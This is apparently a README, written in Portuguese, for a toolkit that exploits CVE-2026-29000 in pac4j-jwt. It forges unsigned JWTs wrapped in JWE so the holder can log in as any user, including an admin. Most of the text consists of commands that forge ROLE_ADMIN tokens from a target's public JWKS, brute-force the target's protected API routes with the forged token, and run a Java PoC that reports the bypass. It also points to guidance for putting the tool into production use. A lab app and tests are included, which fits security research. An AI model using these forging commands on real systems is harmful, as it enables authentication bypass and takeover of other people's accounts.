
Forge JWTs sem assinatura encapsulados em JWE para contornar a verificação de assinatura do pac4j-jwt (CVE-2026-29000) e autenticar-se como qualquer usuário; inclui CLI em Python, biblioteca, PoC em Java e varredura de rotas com kiterunner.
Buildout completo: writeup, PoC em Java in-process, CLI e biblioteca Python para forjar tokens, testes.
Consulte WRITEUP.md para detalhes e requisitos do PoC.
| Caminho | Descrição |
|---|---|
WRITEUP.md | Resumo do CVE, causa raiz, versões afetadas, requisitos do PoC, referências |
RECON.md | O que incluir (descoberta de claims, claims específicos do app) e onde enviar (headers, cookies, localização de endpoints protegidos) |
OPERATIONALIZATION.md | O que é necessário para rodar em produção: empacotamento, configuração, segurança, automação, observabilidade, manutenção |
scripts/kr_scan.py | Forja token e executa kiterunner (~/bin/kr) com Authorization: Bearer para brute/scan de rotas de API protegidas |
examples/ | Scripts de exemplo: forge_and_curl.sh, forge_and_kr.sh |
lab/ | App Flask de laboratório (endpoint JWE + JWKS) para testar o token-forge |
poc/ | PoC Java Maven (bypass in-process contra pac4j-jwt 6.0.3) |
token_forge/ | Pacote Python: forja PlainJWT encapsulado em JWE a partir de PEM ou URL JWKS |
tests/ | Testes Pytest para claims, forge, chaves, CLI |
requirements.txt | Dependências Python (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # ou .venv\Scripts\activate no Windows
pip install -r requirements.txt
# A partir de PEM (gerar com: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /caminho/para/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# A partir de URL JWKS
python -m token_forge --jwks-url https://alvo/.well-known/jwks.json --subject admin
# Claims extras (para descoberta específica do app): --claim [email protected] --claim key=value
# Opções: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Saída: linha única (JWT forjado); use como Authorization: Bearer <token>.
Requer kr em ~/bin/kr. Forja token e executa kr brute (ou kr scan) com autenticação Bearer para descobrir rotas protegidas:
python scripts/kr_scan.py https://alvo.com --jwks-url https://alvo.com/.well-known/jwks.json
python scripts/kr_scan.py https://alvo.com --public-key pub.pem -w paths.txt -o json --dry-run
Consulte RECON.md §4 para opções (--subject, --roles, --claim, -A, --scan, etc.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# ou com warnings como erros:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Ou apenas token (sem validação in-process):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Com subject/roles personalizados:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Esperado: [BYPASS] Authenticated as: admin#override e roles ao executar in-process.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # depois abra htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
App Flask que aceita JWE e retorna claims (para testar forge + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
Consulte lab/README.md.